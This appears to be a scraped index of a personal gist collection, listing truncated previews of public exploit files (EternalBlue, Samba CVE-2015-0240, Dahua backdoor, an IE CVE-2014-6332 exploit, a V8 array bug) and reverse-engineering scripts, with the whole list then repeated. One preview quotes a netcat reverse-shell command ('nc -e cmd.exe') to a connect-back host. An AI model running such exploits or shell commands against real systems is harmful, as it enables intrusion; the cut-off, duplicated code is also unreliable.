huyna

## dahua-backdoor.py
#!/usr/bin/python2.7
#
# Dahua backdoor Generation 2 and 3
# Author: bashis <mcw noemail eu> March 2017
#
# Credentials: No credentials needed (Anonymous)
#Jacked from git history
#

import string

## eternalblue8_exploit.py
#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket

'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

## eternalblue_exploit.py
#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket

'''
EternalBlue exploit by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

## js_sandbox.js
with (true) {
  // f() will allocate a buggy JSArray. The length is set to 24 but the capacity is only 16.
  // take a look at JSCreateLowering::ReduceJSCreateArray to see why this is happening
  function f(){
    var x = 8;
    var y = 0xffffffff;
    var ind = x & y;
    x = 16;
    y = 0xffffffff;
    var ind2 = ind + (x&y);

## LicenseEngine.cs
public bool VerifyLicense(string licenseKey, string email)
	{
		if (string.IsNullOrEmpty(licenseKey) || string.IsNullOrEmpty(email))
		{
			return false;
		}
		try
		{
			this.License = this.Decrypt(licenseKey);
			this.LicenseProcessed = true;

## DexGuardDecoder.java
import jeb.api.IScript;
import jeb.api.JebInstance;
import jeb.api.ast.*;
import jeb.api.ast.Class;
import jeb.api.dex.*;
import jeb.api.ui.JavaView;
import jeb.api.ui.View;

import java.util.Arrays;
import java.util.HashMap;

## gist:41a8579ed9d86cf770f3
# hotkey_utils.py - bNull
#
# Some useful shortcuts for binding to hotkeys. Current output/hotkeys:
#
# [+] Bound make_dwords to Ctrl-Alt-D
# [+] Bound make_cstrings to Ctrl-Alt-A
# [+] Bound make_offset to Ctrl-Alt-O

import idaapi
import idc

## cve-2015-0240_samba_exploit.py
#!/usr/bin/python
"""
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya

The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
in libtalloc does not write a value on 'creds' address.

Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

## http_sys_pseudo.c
/*
Pseudo code in HTTP.sys to understand flow related to MS15-034

All pseudo code are reversed from vulnerable HTTP.sys on Windows 7 SP1 x86

For anyone want to know what function are patched.
Just open patched version and find all functions reference to RtlULongLongAdd().
*/


## cve-2014-6332_exploit.html
<html>
<head>
<!--
CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
'server_ip' and 'server_port' in javascript below determined the connect back target

Tested on
- IE11 + Windows 7 64-bit (EPM is off)
- IE11 + Windoes 8.1 64-bit (EPM is off)
	#!/usr/bin/python2.7
	#
	# Dahua backdoor Generation 2 and 3
	# Author: bashis <mcw noemail eu> March 2017
	#
	# Credentials: No credentials needed (Anonymous)
	#Jacked from git history
	#

	import string
	#!/usr/bin/python
	from impacket import smb
	from struct import pack
	import os
	import sys
	import socket

	'''
	EternalBlue exploit for Windows 8 and 2012 by sleepya
	The exploit might FAIL and CRASH a target system (depended on what is overwritten)
	with (true) {
	// f() will allocate a buggy JSArray. The length is set to 24 but the capacity is only 16.
	// take a look at JSCreateLowering::ReduceJSCreateArray to see why this is happening
	function f(){
	var x = 8;
	var y = 0xffffffff;
	var ind = x & y;
	x = 16;
	y = 0xffffffff;
	var ind2 = ind + (x&y);
	public bool VerifyLicense(string licenseKey, string email)
	{
	if (string.IsNullOrEmpty(licenseKey) \|\| string.IsNullOrEmpty(email))
	{
	return false;
	}
	try
	{
	this.License = this.Decrypt(licenseKey);
	this.LicenseProcessed = true;
	import jeb.api.IScript;
	import jeb.api.JebInstance;
	import jeb.api.ast.*;
	import jeb.api.ast.Class;
	import jeb.api.dex.*;
	import jeb.api.ui.JavaView;
	import jeb.api.ui.View;

	import java.util.Arrays;
	import java.util.HashMap;
	# hotkey_utils.py - bNull
	#
	# Some useful shortcuts for binding to hotkeys. Current output/hotkeys:
	#
	# [+] Bound make_dwords to Ctrl-Alt-D
	# [+] Bound make_cstrings to Ctrl-Alt-A
	# [+] Bound make_offset to Ctrl-Alt-O

	import idaapi
	import idc
	#!/usr/bin/python
	"""
	Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya

	The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
	ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
	in libtalloc does not write a value on 'creds' address.

	Reference:
	- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
	/*
	Pseudo code in HTTP.sys to understand flow related to MS15-034

	All pseudo code are reversed from vulnerable HTTP.sys on Windows 7 SP1 x86

	For anyone want to know what function are patched.
	Just open patched version and find all functions reference to RtlULongLongAdd().
	*/
	<html>
	<head>
	<!--
	CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
	The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
	'server_ip' and 'server_port' in javascript below determined the connect back target

	Tested on
	- IE11 + Windows 7 64-bit (EPM is off)
	- IE11 + Windoes 8.1 64-bit (EPM is off)